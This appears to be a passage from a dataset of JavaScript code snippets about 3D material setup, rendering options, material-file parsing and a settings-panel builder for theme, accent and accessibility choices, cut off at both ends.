baseMaterial.clone();\n this.refs.touchpad.material.name = 'touchpad-mat';\n\n this.refs.trigger.material = baseMaterial.clone();\n this.refs.trigger.material.name = 'trigger-mat';\n\n this.refs.menuBtn.material = baseMaterial.clone();\n this.refs.menuBtn.material.name = 'menu-mat';\n\n // squeeze-buttons are always handled as one\n this.refs.leftSqueezeBtn.material =\n this.refs.rightSqueezeBtn.material = baseMaterial.clone();\n this.refs.leftSqueezeBtn.material.name = 'squeeze-btn-mat';\n\n this.refs.led.material = new THREE.MeshPhongMaterial({\n name: 'led-mat',\n color: 0x888888,\n emissive: 0x00ff00,\n emissiveIntensity: 0.8\n });\n }", "initMaterials() {\n this.materials = [];\n\n for (var key in this.graph.materials) {\n if (this.graph.materials.hasOwnProperty(key)) {\n var material = this.graph.materials[key];\n\n this.materials[key] = new CGFappearance(this);\n\n let ambient = material.ambient;\n let diffuse = material.diffuse;\n let specular = material.specular;\n let emission = material.emission;\n\n this.materials[key].setAmbient(ambient.r, ambient.g, ambient.b, ambient.a);\n this.materials[key].setDiffuse(diffuse.r, diffuse.g, diffuse.b, diffuse.a);\n this.materials[key].setSpecular(specular.r, specular.g, specular.b, specular.a);\n this.materials[key].setEmission(emission.r, emission.g, emission.b, emission.a);\n this.materials[key].setShininess(material.shininess);\n this.materials[key].setTextureWrap('REPEAT','REPEAT');\n }\n }\n }", "function cfnConfigurationSetVdmOptionsPropertyToCloudFormation(properties) {\n if (!cdk.canInspect(properties)) {\n return properties;\n }\n CfnConfigurationSet_VdmOptionsPropertyValidator(properties).assertSuccess();\n return {\n DashboardOptions: cfnConfigurationSetDashboardOptionsPropertyToCloudFormation(properties.dashboardOptions),\n GuardianOptions: cfnConfigurationSetGuardianOptionsPropertyToCloudFormation(properties.guardianOptions),\n };\n}", "function createMaterials() {\n var material;\n for (var i = 0, l = mat.length; i < l; i++) {\n var m = mat[i];\n if (m.type == 0) {\n material = new THREE.MeshLambertMaterial({color:m.c, ambient:m.c});\n }\n else if (m.type == 1) {\n material = new THREE.LineBasicMaterial({color:m.c});\n }\n else { // type == 2\n material = new THREE.MeshLambertMaterial({color:m.c, ambient:m.c, wireframe:true});\n }\n if (m.o !== undefined && m.o < 1) {\n material.opacity = m.o;\n material.transparent = true;\n }\n mat[i].m = material;\n }\n}", "function RenderOptions(o)\r\n{\r\n\t//this.renderer = null; //which renderer is in use\r\n\r\n\t//info\r\n\tthis.main_camera = null; //this camera is the primary camera, some actions require to know the primary user point of view\r\n\tthis.current_camera = null; //this camera is the one being rendered at this moment\r\n\tthis.current_pass = null; //name of the current pass (\"color\",\"shadow\",\"depth\",\"picking\")\r\n\tthis.current_renderer = null; //current renderer being used\r\n\r\n\t//rendering properties\r\n\tthis.ignore_viewports = false;\r\n\tthis.ignore_clear = false;\r\n\r\n\tthis.force_wireframe = false;\t//render everything in wireframe\r\n\tthis.shadows_disabled = false; //no shadows on the render\r\n\tthis.lights_disabled = false; //flat lighting\r\n\tthis.low_quality = false;\t//try to use low quality shaders\r\n\r\n\tthis.update_shadowmaps = true; //automatically update shadowmaps in every frame (enable if there are dynamic objects)\r\n\tthis.update_materials = true; //update info in materials in every frame\r\n\tthis.render_all_cameras = true; //render secundary cameras too\r\n\tthis.render_fx = true; //postprocessing fx\r\n\tthis.in_player = true; //is in the player (not in the editor)\r\n\r\n\tthis.sort_instances_by_distance = true;\r\n\tthis.sort_instances_by_priority = true;\r\n\tthis.z_pass = false; //enable when the shaders are too complex (normalmaps, etc) to reduce work of the GPU (still some features missing)\r\n\tthis.frustum_culling = true;\r\n\r\n\t//this should change one day...\r\n\tthis.default_shader_id = \"global\";\r\n\tthis.default_low_shader_id = \"lowglobal\";\r\n\r\n\t//copy\r\n\tif(o)\r\n\t\tfor(var i in o)\r\n\t\t\tthis[i] = o[i];\r\n}", "function UrdfMaterial(options) {\n this.textureFilename = null;\n this.color = null;\n\n this.name = options.xml.getAttribute('name');\n\n // Texture\n var textures = options.xml.getElementsByTagName('texture');\n if (textures.length > 0) {\n this.textureFilename = textures[0].getAttribute('filename');\n }\n\n // Color\n var colors = options.xml.getElementsByTagName('color');\n if (colors.length > 0) {\n // Parse the RBGA string\n this.color = new UrdfColor({\n xml : colors[0]\n });\n }\n}", "function UrdfMaterial(options) {\n this.textureFilename = null;\n this.color = null;\n\n this.name = options.xml.getAttribute('name');\n\n // Texture\n var textures = options.xml.getElementsByTagName('texture');\n if (textures.length > 0) {\n this.textureFilename = textures[0].getAttribute('filename');\n }\n\n // Color\n var colors = options.xml.getElementsByTagName('color');\n if (colors.length > 0) {\n // Parse the RBGA string\n this.color = new UrdfColor({\n xml : colors[0]\n });\n }\n}", "static get properties() {\n return {\n ...super.properties,\n /**\n * Allow a null option to be selected?\n */\n allowNull: {\n type: Boolean,\n },\n /**\n * An array of icons by name: ```\n [\n \"editor:format-paint\",\n \"content-copy\",\n \"av:volume-off\"\n \n ]```\n */\n icons: {\n type: Array,\n },\n\n includeSets: {\n type: Array,\n attribute: \"include-sets\",\n },\n excludeSets: {\n type: Array,\n attribute: \"exclude-sets\",\n },\n exclude: {\n type: Array,\n attribute: \"exclude\",\n },\n\n /**\n * The value of the option.\n */\n value: {\n type: String,\n reflect: true,\n },\n\n /**\n * the maximum number of options per row\n */\n optionsPerRow: {\n type: Number,\n },\n\n /**\n * An array of icons by name: ```\n [\n \"editor:format-paint\",\n \"content-copy\",\n \"av:volume-off\"\n \n ]```\n */\n __iconList: {\n type: Array,\n },\n };\n }", "material() { return { shader: this } }", "_setup_material_uniforms(material, uniformSetter) {\n // Setup custom user uniforms (in case of CustomShaderMaterial)\n if (material instanceof LOGI.CustomShaderMaterial) {\n let customUniforms = material._uniforms;\n\n // Set all of the custom uniforms if they are defined within the shader\n for (let name in customUniforms) {\n if (customUniforms.hasOwnProperty(name)) {\n if (uniformSetter[name] !== undefined) {\n uniformSetter[name].set(customUniforms[name]);\n }\n }\n }\n }\n else {\n if (uniformSetter[\"material.diffuse\"] !== undefined) {\n uniformSetter[\"material.diffuse\"].set(material.color.toArray());\n }\n\n if (uniformSetter[\"material.specular\"] !== undefined) {\n uniformSetter[\"material.specular\"].set(material.specular.toArray());\n }\n\n if (uniformSetter[\"material.shininess\"] !== undefined) {\n uniformSetter[\"material.shininess\"].set(material.shininess);\n }\n }\n\n // Setup texture uniforms (Are common for both predefined materials and custom shader material)\n let textures = material.maps;\n\n for (let i = 0; i < textures.length; i++) {\n const texture = \"material.texture\" + i;\n if (uniformSetter[texture] !== undefined) {\n uniformSetter[texture].set(this._glManager.getTexture(textures[i]), i);\n }\n }\n }", "function parser( mtl, options ){\n\n\tvar lines = mtl.split( \"\\n\" );\n\tvar delimiter_pattern = /\\s+/;\n\tvar materials = [];\n\tvar index = 0;\n\n\t\tfor ( var i = 0; i < lines.length; i ++ ) {\n\n\t\tvar line = lines[ i ];\n\t\tline = line.trim();\n\n\t\tif ( line.length === 0 || line.charAt( 0 ) === '#' || line.substr( 0, 2 ) === \"//\" ) {\n\n\t\t\t// Blank line or comment ignore\n\t\t\tcontinue;\n\n\t\t}\n\n\t\tvar pos = line.indexOf( ' ' );\n\n\t\tvar key = ( pos >= 0 ) ? line.substring( 0, pos) : line;\n\t\tkey = key.toLowerCase();\n\n\t\tvar value = ( pos >= 0 ) ? line.substring( pos + 1 ) : \"\";\n\t\tvalue = value.trim();\n\n\t\tif ( key === \"newmtl\" ) {\n\t\t\t// save index for later\n\t\t\tindex = materials.length;\n\n\t\t\t// New material\n\t\t\tvar material = {\n\t\t\t\t'DbgName': value,\n\t\t\t\t'DbgIndex': index,\n\t\t\t\t'DbgColor' : generate_color(index)\n\t\t\t};\n\n\t\t\tmaterials.push(material);\n\n\t\t} else if ( materials.length > 0 ) {\n\t\t\t// skip under certain conditions\n\t\t\t// - colorAmbient disabled for THREE.js > r80\n\t\t\t// - colorEmissive not supported\n\t\t\tif ( key === \"ka\" || key === \"ke\" || key === \"map_ke\" ) continue;\n\n\t\t\tif ( key === \"kd\" || key === \"ks\" ) {\n\n\t\t\t\tvar ss = value.split( delimiter_pattern, 3 );\n\t\t\t\tmaterials[ index ][ keyMap[key] ] = [ parseFloat( ss[0] ), parseFloat( ss[1] ), parseFloat( ss[2] ) ];\n\n\t\t\t} else {\n\n\t\t\t\t// skip empty values\n\t\t\t\tif( value == \"\" ) continue;\n\t\t\t\t// check if our value is a number\n\t\t\t\tvar is_num = !isNaN( parseFloat(value) );\n\n\t\t\t\t// special conditions for transparency...\n\t\t\t\tif( key == \"d\" || key == \"map_d\" ){\n\t\t\t\t\t//if ( value < 1 ) ...\n\t\t\t\t\tvalue = ( options.transparency == \"invert\" && is_num ) ? 1.0 - parseFloat(value) : value;\n\t\t\t\t\tmaterials[ index ][\"transparent\"] = true;\n\t\t\t\t}\n\t\t\t\tif( key == \"tr\" ){\n\t\t\t\t\t// tr is opposite of d\n\t\t\t\t\t//if ( value > 0 ) ...\n\t\t\t\t\tvalue = ( options.transparency !== \"invert\" && is_num ) ? 1.0 - parseFloat(value) : value;\n\t\t\t\t\tmaterials[ index ][\"transparent\"] = true;\n\t\t\t\t}\n\n\t\t\t\t// is it necessary to parse floats on number string?\n\t\t\t\tmaterials[ index ][ keyMap[key] ] = (!is_num) ? value : parseFloat(value);\n\n\t\t\t}\n\n\t\t}\n\n\t}\n\n\treturn materials;\n}", "switchIlumination() {\n if (this.typeBasic)\n //colocamos o material como sendo Basic\n this.material = this.materials[1];\n\n else\n //colocamos o material Basic como sendo Phong\n this.material = this.materials[0];\n\n this.typeBasic = !this.typeBasic;\n }", "function setMaterial()\n\t{\n\t\tvar rows = auxJobGrid.getSelectionModel().getSelections();\n\t\t\t\n\t\tif (rows.length > 0) \n\t\t{\n\t\t\tvar value = material.getValue();\t\t\t\n\t\t\t\n\t\t\tvar index = material.store.find('name', value);\n\t\t\tvar record = material.store.getAt(index);\n\t\t\n\t\t\tif (record != undefined) \n\t\t\t{\n\t\t\t\trows[0].set('material_cost', record.get('cost'));\n\t\t\t\trows[0].set('material', value);\n\t\t\t\trows[0].set('days', record.get('days'));\n\t\t\t\t\n\t\t\t\tsetScheduledDate(rows[0]);\n\t\t\t}\n\t\t}\t\t\n\t}", "function _buildDefinition( options ) {\n\tconst definition = {\n\t\tmodel: {\n\t\t\tkey: 'direction',\n\t\t\tvalues: options.slice()\n\t\t},\n\t\tview: {}\n\t};\n\n\tfor ( const option of options ) {\n\t\tdefinition.view[ option ] = {\n\t\t\tkey: 'style',\n\t\t\tvalue: {\n\t\t\t\t'direction': option\n\t\t\t}\n\t\t};\n\t}\n\n\treturn definition;\n}", "function updateEffectsOption() {\n var currText = 'Efectos';\n var currValue = (scene.effectsOn() ? 'ON': 'OFF');\n $('#optEffects').attr('value', currText + ' (' + currValue + ')');\n}", "createDefaultMaterial() {\n this.defaultMaterial = new CGFappearance(this);\n this.defaultMaterial.setAmbient(0.2, 0.4, 0.8, 1.0);\n this.defaultMaterial.setDiffuse(0.2, 0.4, 0.8, 1.0);\n this.defaultMaterial.setAmbient(0.2, 0.4, 0.8, 1.0);\n this.defaultMaterial.setShininess(10.0);\n }", "set DeferredSpecular(value) {}", "function figureMaterial() {\n material = new THREE.MeshNormalMaterial({side: 2, wireframe: false})\n}", "setOption(option) {\n return new M_IO((world) => {\n this._option.bgmVolume = option.bgmVolume || this._option.bgmVolume;\n this._option.bgmSpeed = option.bgmSpeed || this._option.bgmSpeed;\n this._option.seVolume = option.seVolume || this._option.seVolume;\n return new Tuple(null, world);\n });\n }", "function getOptions(colorList) {\n // Create the required options object\n var options = new ExportOptionsSVG();\n // See ExportOptionsSVG in the JavaScript Reference for available options\n options.saveMultipleArtboards = true;\n options.embedRasterImages = false;\n //options.cssProperties = SVGCSSPropertyLocation.ENTITIES;\n options.DTD = SVGDTDVersion.SVG1_1;\n return options;\n}", "function selectProperMaterial()\n\t{\n\t\tvar rows = auxJobGrid.getSelectionModel().getSelections();\n\t\t\n\t\tif(rows.length > 0)\n\t\t{\n\t\t\tvar record = null;\n\t\t\tvar selectedSize = size.getRawValue();\n\t\t\tvar material = \"\";\n\t\t\t\n\t\t\tfor(var i = 0; i < dsMaterial.getCount(); i++)\n\t\t\t{\n\t\t\t\trecord = dsMaterial.getAt(i); \t\n\t\t\t\tmaterial = record.data.name;\n\t\t\t\t\n\t\t\t\tif(material.toString().indexOf(selectedSize) != -1 && selectedSize != \"\")\n\t\t\t\t{\n\t\t\t\t\trows[0].set('material', material);\n\t\t\t\t\trows[0].set('material_cost', record.data.cost);\n\t\t\t\t\trows[0].set('days', record.data.days);\n\t\t\t\t\t\n\t\t\t\t\tsetScheduledDate(rows[0]);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\trows[0].set('material', '');\n\t\t\trows[0].set('material_cost', 0);\n\t\t\trows[0].set('days', 0);\n\t\t\t\n\t\t\tsetScheduledDate(rows[0]);\n\t\t}\n\t}", "function material(children, ambient, diffuse, specular, shininess, emission) {\n\tlet material = new MaterialSGNode(children);\n\n\tif (ambient) material.ambient = ambient;\n\tif (diffuse) material.diffuse = diffuse;\n\tif (specular) material.specular = specular;\n\tif (shininess) material.shininess = shininess;\n\tif (emission) material.emission = emission;\n\n\tmaterial.lights = allLightsReference;\n\treturn material;\n}", "function initOptions () {\n\n var uuids = settings.uuids;\n var rawAssets = settings.rawAssets;\n var assetTypes = settings.assetTypes;\n var realRawAssets = settings.rawAssets = {};\n for (var mount in rawAssets) {\n var entries = rawAssets[mount];\n var realEntries = realRawAssets[mount] = {};\n for (var id in entries) {\n var entry = entries[id];\n var type = entry[1];\n // retrieve minified raw asset\n if (typeof type === 'number') {\n entry[1] = assetTypes[type];\n }\n // retrieve uuid\n realEntries[uuids[id] || id] = entry;\n }\n }\n var scenes = settings.scenes;\n for (var i = 0; i < scenes.length; ++i) {\n var scene = scenes[i];\n if (typeof scene.uuid === 'number') {\n scene.uuid = uuids[scene.uuid];\n }\n }\n var packedAssets = settings.packedAssets;\n for (var packId in packedAssets) {\n var packedIds = packedAssets[packId];\n for (var j = 0; j < packedIds.length; ++j) {\n if (typeof packedIds[j] === 'number') {\n packedIds[j] = uuids[packedIds[j]];\n }\n }\n }\n var subpackages = settings.subpackages;\n for (var subId in subpackages) {\n var uuidArray = subpackages[subId].uuids;\n if (uuidArray) {\n for (var k = 0, l = uuidArray.length; k < l; k++) {\n if (typeof uuidArray[k] === 'number') {\n uuidArray[k] = uuids[uuidArray[k]];\n }\n }\n }\n }\n\n // asset library options\n const assetOptions = {\n libraryPath: 'res/import',\n rawAssetsBase: 'res/raw-',\n rawAssets: settings.rawAssets,\n packedAssets: settings.packedAssets,\n md5AssetsMap: settings.md5AssetsMap,\n subPackages: settings.subpackages\n };\n const options = {\n scenes: settings.scenes,\n debugMode: settings.debug ? 1 : 3, // cc.debug.DebugMode.INFO : cc.debug.DebugMode.ERROR,\n showFPS: !false && settings.debug,\n frameRate: 60,\n groupList: settings.groupList,\n collisionMatrix: settings.collisionMatrix,\n renderPipeline: settings.renderPipeline,\n adapter: prepare.findCanvas('GameCanvas'),\n assetOptions,\n customJointTextureLayouts: settings.customJointTextureLayouts || [],\n };\n return options;\n}", "toString(options) {\n const {sheet} = this.options\n const link = sheet ? sheet.options.link : false\n const opts = link ? {...options, allowEmpty: true} : options\n return toCss(this.key, this.style, opts)\n }", "changeMaterials() {\n for (var item in this.graph.nodes) {\n this.graph.nodes[item].activeMaterial = this.graph.nodes[item].materials[this.graph.nodes[item].materials.indexOf(this.graph.nodes[item].activeMaterial) + 1]\n if (this.graph.nodes[item].activeMaterial == null)\n this.graph.nodes[item].activeMaterial = this.graph.nodes[item].materials[0];\n }\n }", "set importMaterials(value) {}", "applyOptions(options) {\n Object.assign(this[$options], options);\n // Re-evaluates clamping based on potentially new values for min/max\n // polar, azimuth and radius:\n this.setOrbit();\n // Prevent interpolation in the case that any target spherical values\n // changed (preserving OrbitalControls behavior):\n this[$spherical].copy(this[$targetSpherical]);\n }", "function generate_mtl(materials){\n\n\tvar mtl = {};\n\tfor( i in materials){\n\t\tvar material = materials[i];\n\t\tmtl[i] = {\n\t\t\t'DbgName': i,\n\t\t\t'DbgIndex': material,\n\t\t\t'DbgColor': generate_color(material)\n\t\t}\n\t}\n\treturn mtl;\n}", "function generateDisplayOptions(options) {\n\t\t//DEBUG\n\t\t\tif (getPreferenceGroup(\"rebar.appSettings\").debug == true) {\n\t\t\t\t$(`#${options.target}`).append(`\n\t\t\t\t\t<h2 class=\"headerList\">Debug</h2>\n\t\t\t\t\t<div class=\"containerItemList inset inline spacerDouble alwaysBackgroundColor\">\n\t\t\t\t\t\t<section class=\"containerSection excludePadding excludeMargin\">\n\t\t\t\t\t\t\t<div class=\"itemList fixedIconSize\">\n\t\t\t\t\t\t\t\t${iconHardware.monitorStroke}\n\t\t\t\t\t\t\t\t<div class=\"label\" id=\"increaseContrastLabel\">\n\t\t\t\t\t\t\t\t\t<span>OS Theme</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"containerContextButton\" data-setting=\"os\" data-position=\"right\" data-type=\"picker\">\n\t\t\t\t\t\t\t\t\t<button class=\"buttonContext transparent excludePadding\">\n\t\t\t\t\t\t\t\t\t\t<div class=\"contextContainerLabel\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"contextLabel\" style=\"text-transform: none\"></span>\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"contextGripper\">${iconShapes.chevronOutwardsVerticalFill}</span>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t\t\t<div class=\"contextContainerMenu\">\n\t\t\t\t\t\t\t\t\t\t<button data-name=\"default\" onclick=\"overrideOS('default')\">Default</button>\n\t\t\t\t\t\t\t\t\t\t<button data-name=\"ios\" onclick=\"overrideOS('ios')\">iOS</button>\n\t\t\t\t\t\t\t\t\t\t<button data-name=\"macos\" onclick=\"overrideOS('macos')\">macOS</button>\n\t\t\t\t\t\t\t\t\t\t<button data-name=\"android\" onclick=\"overrideOS('android')\">Android</button>\n\t\t\t\t\t\t\t\t\t\t<button data-name=\"windows\" onclick=\"overrideOS('windows')\">Windows</button>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</section>\n\t\t\t\t\t</div>\n\t\t\t\t`);\n\t\t\t}\n\t\t\t\n\t\t\tswitch (getPreferenceGroup(\"rebar.appSettings\").os) {\n\t\t\t\tcase 'default':\n\t\t\t\t\t$(`[data-setting=\"os\"] .contextLabel`).append(`Default`);\n\t\t\t\t\t$(`[data-name=\"default\"]`).addClass(`picked`);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'ios':\n\t\t\t\t\t$(`[data-setting=\"os\"] .contextLabel`).append(`iOS`);\n\t\t\t\t\t$(`[data-name=\"ios\"]`).addClass(`picked`);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'macos':\n\t\t\t\t\t$(`[data-setting=\"os\"] .contextLabel`).append(`macOS`);\n\t\t\t\t\t$(`[data-name=\"macos\"]`).addClass(`picked`);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'android':\n\t\t\t\t\t$(`[data-setting=\"os\"] .contextLabel`).append(`Android`);\n\t\t\t\t\t$(`[data-name=\"android\"]`).addClass(`picked`);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'windows':\n\t\t\t\t\t$(`[data-setting=\"os\"] .contextLabel`).append(`Windows`);\n\t\t\t\t\t$(`[data-name=\"windows\"]`).addClass(`picked`);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\n\t\tif (options.themeOptions == true || options.accentOptions == true || options.contrastOptions == true || options.motionOptions == true) {\n\t\t\t//SET UP THE CONTAINER\n\t\t\t$(`#${options.target}`).append(`\n\t\t\t\t<h2 class=\"headerList\">Visuals</h2>\n\t\t\t\t<div class=\"containerItemList inset inline spacerDouble alwaysBackgroundColor\">\n\t\t\t\t\t<section class=\"containerSection excludePadding excludeMargin\" id=\"containerVisuals\"></section>\n\t\t\t\t</div>\n\t\t\t`);\n\t\t\t\n\t\t\t//THEMES\n\t\t\tif (options.themeOptions == true) {\n\t\t\t\t//SET UP THE CONTAINER\n\t\t\t\t$(`#containerVisuals`).append(`\n\t\t\t\t\t<div class=\"itemList fixedIconSize\">\n\t\t\t\t\t\t${iconObjects.paintbrushStroke}\n\t\t\t\t\t\t<div class=\"label\" id=\"increaseContrastLabel\">\n\t\t\t\t\t\t\t<span>Theme</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"containerContextButton\" data-setting=\"appearance\" data-position=\"right\" data-type=\"pickericons\">\n\t\t\t\t\t\t\t<button class=\"buttonContext transparent excludePadding\">\n\t\t\t\t\t\t\t\t<div class=\"contextContainerLabel\">\n\t\t\t\t\t\t\t\t\t<span class=\"contextLabel\"></span>\n\t\t\t\t\t\t\t\t\t<span class=\"contextGripper\">${iconShapes.chevronOutwardsVerticalFill}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t<div class=\"contextContainerMenu\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t`);\n\t\t\t\t\n\t\t\t\t//GENERATE THE TOKENS\n\t\t\t\t$.each( appThemes, function( key, val ) {\n\t\t\t\t\t$(`[data-setting=\"appearance\"] .contextContainerMenu`).append(`\n\t\t\t\t\t\t<button data-value=\"${key}\" data-label=\"${val.name}\" data-icongroup='${val.iconGroup}' data-iconname='${val.iconName}'>\n\t\t\t\t\t\t\t${val.name}\n\t\t\t\t\t\t\t${window[val.iconGroup][val.iconName]}\n\t\t\t\t\t\t</button>\n\t\t\t\t\t`);\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t//SET THEME DROPDOWN\n\t\t\t\t$(`[data-setting=\"appearance\"] button[data-value='${getPreferenceGroup(\"rebar.appSettings\").appearance}']`).addClass(\"picked\");\n\t\t\t\t$(`[data-setting=\"appearance\"] .contextLabel`).append(window[appThemes[getPreferenceGroup(\"rebar.appSettings\").appearance].iconGroup][appThemes[getPreferenceGroup(\"rebar.appSettings\").appearance].iconName]);\n\t\t\t\t$(`[data-setting=\"appearance\"] .contextLabel`).append(appThemes[getPreferenceGroup(\"rebar.appSettings\").appearance].name);\n\t\t\t}\n\t\t\t\n\t\t\t//ACCENTS\n\t\t\tif (options.accentOptions == true) {\n\t\t\t\t//SET UP THE CONTAINER\n\t\t\t\t$(`#containerVisuals`).append(`\n\t\t\t\t\t<div class=\"itemList fixedIconSize\">\n\t\t\t\t\t\t${iconObjects.swatchBookRight}\n\t\t\t\t\t\t<div class=\"label\" id=\"increaseContrastLabel\">\n\t\t\t\t\t\t\t<span>Accent</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"containerContextButton\" data-setting=\"accent\" data-position=\"right\" data-type=\"popover\">\n\t\t\t\t\t\t\t<button class=\"buttonContext transparent excludePadding\">\n\t\t\t\t\t\t\t\t<div class=\"contextContainerLabel\">\n\t\t\t\t\t\t\t\t\t<span class=\"contextLabel\" style=\"text-transform: none\"><span class=\"colorChip\" data-accent=\"${getPreferenceGroup(\"rebar.appSettings\").accent}\"></span> ${appAccents[getPreferenceGroup(\"rebar.appSettings\").accent]}</span>\n\t\t\t\t\t\t\t\t\t<span class=\"contextGripper\">${iconShapes.chevronOutwardsVerticalFill}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t<div class=\"contextContainerMenu\">\n\t\t\t\t\t\t\t\t<div class=\"containerAccents itemList fixedIconSize\" id=\"pickerAccent\" data-max=\"1\" data-setting=\"accent\"></div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t\n\t\t\t\t`);\n\t\t\t\t\n\t\t\t\t//GENERATE THE TOKENS\n\t\t\t\t$.each( appAccents, function( key, val ) {\n\t\t\t\t\t$(`#pickerAccent`).append(`\n\t\t\t\t\t\t<div class=\"accentChip selectionRing\" data-value=\"${key}\" data-accent=\"${key}\" title=\"${val}\"></div>\n\t\t\t\t\t`);\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t//SET THE PICKED TOKEN\n\t\t\t\t$(`#pickerAccent [data-value=\"${getPreferenceGroup(\"rebar.appSettings\").accent}\"]`).addClass(\"picked\");\n\t\t\t\t$(`#selectedAccent`).empty().append(appAccents[getPreferenceGroup(\"rebar.appSettings\").accent]);\n\t\t\t}\n\t\t\t\n\t\t\t//GENERATE INCREASED CONTRAST OPTIONS\n\t\t\tif (options.contrastOptions == true) {\n\t\t\t\t//GENERATE MENU\n\t\t\t\t$(`#containerVisuals`).append(`\n\t\t\t\t\t<div class=\"itemList fixedIconSize\">\n\t\t\t\t\t\t${iconShapes.circleHalfVerticalRightFill}\n\t\t\t\t\t\t<div class=\"label\" id=\"increaseContrastLabel\">\n\t\t\t\t\t\t\t<span>Increase Contrast</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<button class=\"switch\" data-setting=\"increaseContrast\"></button>\n\t\t\t\t\t</div>\n\t\t\t\t`);\n\t\t\t\t\n\t\t\t\t//SET SWITCH STATE\n\t\t\t\tif (getPreferenceGroup(\"rebar.appSettings\").increaseContrast == \"less\") {\n\t\t\t\t\t$('[data-setting=\"increaseContrast\"]').addClass(\"off\");\n\t\t\t\t\t$('[data-setting=\"increaseContrast\"]').attr(\"title\", \"Off\")\n\t\t\t\t} else {\n\t\t\t\t\t$('[data-setting=\"increaseContrast\"]').attr(\"title\", \"On\")\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (queryIncreasedContrast == true) {\n\t\t\t\t\t$('[data-setting=\"increaseContrast\"]').addClass(\"disabled\").removeClass(\"off\");\n\t\t\t\t\t$(\"#increaseContrastLabel\").append(`<span class=\"subtext\">Using device settings</span>`)\n\t\t\t\t\t$('[data-setting=\"increaseContrast\"]').attr(\"title\", \"On\")\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//GENERATE REDUCED MOTION OPTIONS\n\t\t\tif (options.motionOptions == true) {\n\t\t\t\t//GENERATE MENU\n\t\t\t\t$(`#containerVisuals`).append(`\n\t\t\t\t\t<div class=\"itemList fixedIconSize\">\n\t\t\t\t\t\t${iconObjects.dialOffStroke}\n\t\t\t\t\t\t<div class=\"label\" id=\"reducedMotionLabel\">\n\t\t\t\t\t\t\t<span>Reduce Motion</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<button class=\"switch\" data-setting=\"reduceMotion\"></button>\n\t\t\t\t\t</div>\n\t\t\t\t`);\n\t\t\t\t\n\t\t\t\t//SET SWITCH STATE\n\t\t\t\tif (getPreferenceGroup(\"rebar.appSettings\").reduceMotion == \"off\") {\n\t\t\t\t\t$('[data-setting=\"reduceMotion\"]').addClass(\"off\");\n\t\t\t\t\t$('[data-setting=\"reduceMotion\"]').attr(\"title\", \"Off\")\n\t\t\t\t} else {\n\t\t\t\t\t$('[data-setting=\"reduceMotion\"]').attr(\"title\", \"On\")\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (queryReducedMotion == true) {\n\t\t\t\t\t$('[data-setting=\"reduceMotion\"]').addClass(\"disabled\").removeClass(\"off\");\n\t\t\t\t\t$(\"#reducedMotionLabel\").append(`<span class=\"subtext\">Using device settings</span>`)\n\t\t\t\t\t$('[data-setting=\"reduceMotion\"]').attr(\"title\", \"On\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (options.textSizeOptions == true || options.textWeightOptions == true || options.textFontOptions == true) {\n\t\t\t//SET UP THE CONTAINER\n\t\t\t$(`#${options.target}`).append(`\n\t\t\t\t<h2 class=\"headerList\">Text</h2>\n\t\t\t\t<div class=\"containerItemList inset inline spacerDouble alwaysBackgroundColor\">\n\t\t\t\t\t<section class=\"containerSection excludePadding excludeMargin\" id=\"containerText\"></section>\n\t\t\t\t</div>\n\t\t\t`);\n\t\t\t\n\t\t\t//GENERATE FONT OPTIONS\n\t\t\tif (options.textFontOptions == true) {\n\t\t\t\t//GENERATE MENU\n\t\t\t\t$(`#containerText`).append(`\n\t\t\t\t\t<div class=\"itemList fixedIconSize\">\n\t\t\t\t\t\t${iconInterfaceElements.textDyslexia}\n\t\t\t\t\t\t<div class=\"label\">Font</div>\n\t\t\t\t\t\t<div class=\"containerContextButton\" data-setting=\"font\" data-position=\"right\" data-type=\"picker\">\n\t\t\t\t\t\t\t<button class=\"buttonContext transparent excludePadding\">\n\t\t\t\t\t\t\t\t<div class=\"contextContainerLabel\">\n\t\t\t\t\t\t\t\t\t<span class=\"contextLabel\"></span>\n\t\t\t\t\t\t\t\t\t<span class=\"contextGripper\">${iconShapes.chevronOutwardsVerticalFill}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t<div class=\"contextContainerMenu\">\n\t\t\t\t\t\t\t\t<button data-value=\"system\" data-label=\"System\">\n\t\t\t\t\t\t\t\t\t<span>System<br /><span class=\"subtext\">The default font for your device</span></span>\n\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t\t<button data-value=\"opendyslexic\" data-label=\"OpenDyslexic\">\n\t\t\t\t\t\t\t\t\t<span>OpenDyslexic<br /><span class=\"subtext\">For people with Dyslexia</span></span>\n\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t\t<button data-value=\"atkinson\" data-label=\"Atkinson 